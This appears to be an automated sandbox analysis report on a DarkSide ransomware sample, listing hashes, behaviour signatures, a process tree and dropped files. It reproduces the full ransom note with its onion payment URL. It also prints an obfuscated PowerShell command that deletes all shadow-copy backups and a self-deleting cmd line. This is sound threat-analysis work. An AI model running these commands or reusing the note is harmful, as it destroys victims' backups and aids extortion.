Analysis

  • max time kernel
    105s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/04/2025, 07:30

General

  • Target

    2025-04-01_943a107b88f85fd88198a9df2e1dc0dd_darkside.exe

  • Size

    59KB

  • MD5

    943a107b88f85fd88198a9df2e1dc0dd

  • SHA1

    bfcf6050ddba6053b738e0c5e54b105880a3c45a

  • SHA256

    80c75581d6e09643a8fc7d7e0fa677e95faa64f20141cf493371ea604f6a07c9

  • SHA512

    bb179e1deb929502a63d37a19f34808329cb0a5f85618aafcc1eb22ecd91966f12c0033c36a84d966c84dfa86172b0af352e10a086f337f404af34256caacf77

  • SSDEEP

    768:GjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1ylvD7Y23W58:Dx7Fu4/ihrhDTV1ylbcZ58

Malware Config

Extracted

Path

C:\Recovery\WindowsRE\README.15627029.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT When you open our website, put the following data in the input form: Key: 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Darkside family
  • Renames multiple (168) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-04-01_943a107b88f85fd88198a9df2e1dc0dd_darkside.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-04-01_943a107b88f85fd88198a9df2e1dc0dd_darkside.exe"
    1⤵
    • Checks computer location settings
    • Sets desktop wallpaper using registry
    • System Location Discovery: System Language Discovery
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2228
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5088
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\2025-0~1.EXE >> NUL
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1904
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4712

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Recovery\WindowsRE\README.15627029.TXT

    Filesize

    1KB

    MD5

    65494ea6831e577d82fac2b91b9c3d43

    SHA1

    5c23717d22ee9b94306f2d5a2a53c60aca03eb8c

    SHA256

    5e98b41a51606e16dda30ad4a49457227f75d71ad2004e2942c6b8de6202c4f3

    SHA512

    28ba13f7793ac8271af03b26eaeba6cbe707bf1f07fb1792818a6ab270d1c20d0091ef4a10c092f60c373aefe09698d2b470ec6a7f8cfa47103fd8bbb8d7a7bb

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    556084f2c6d459c116a69d6fedcc4105

    SHA1

    633e89b9a1e77942d822d14de6708430a3944dbc

    SHA256

    88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

    SHA512

    0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    5d848a83a294e917ec23cd5a90f725c6

    SHA1

    eff12f5eadedb9c136ac44b7ab9a3d86e70c6ebb

    SHA256

    2c74d009e1eb5f43feddd00617d1451b998d4ed59d4b9396adc22126bd3281fc

    SHA512

    56f79082ca3312b87828ad6d50cd18311d7836b553cc126f632dbb2d79b5aa8a13ef1507ba106a314b62ba08be6592102324cfc9458bf82d407c3d6076d6e0b2

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qenyykln.lqy.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/5088-1-0x00007FFB7A5E3000-0x00007FFB7A5E5000-memory.dmp

    Filesize

    8KB

  • memory/5088-2-0x000001F070C60000-0x000001F070C82000-memory.dmp

    Filesize

    136KB

  • memory/5088-12-0x00007FFB7A5E0000-0x00007FFB7B0A1000-memory.dmp

    Filesize

    10.8MB

  • memory/5088-13-0x00007FFB7A5E0000-0x00007FFB7B0A1000-memory.dmp

    Filesize

    10.8MB

  • memory/5088-14-0x00007FFB7A5E0000-0x00007FFB7B0A1000-memory.dmp

    Filesize

    10.8MB

  • memory/5088-17-0x00007FFB7A5E0000-0x00007FFB7B0A1000-memory.dmp

    Filesize

    10.8MB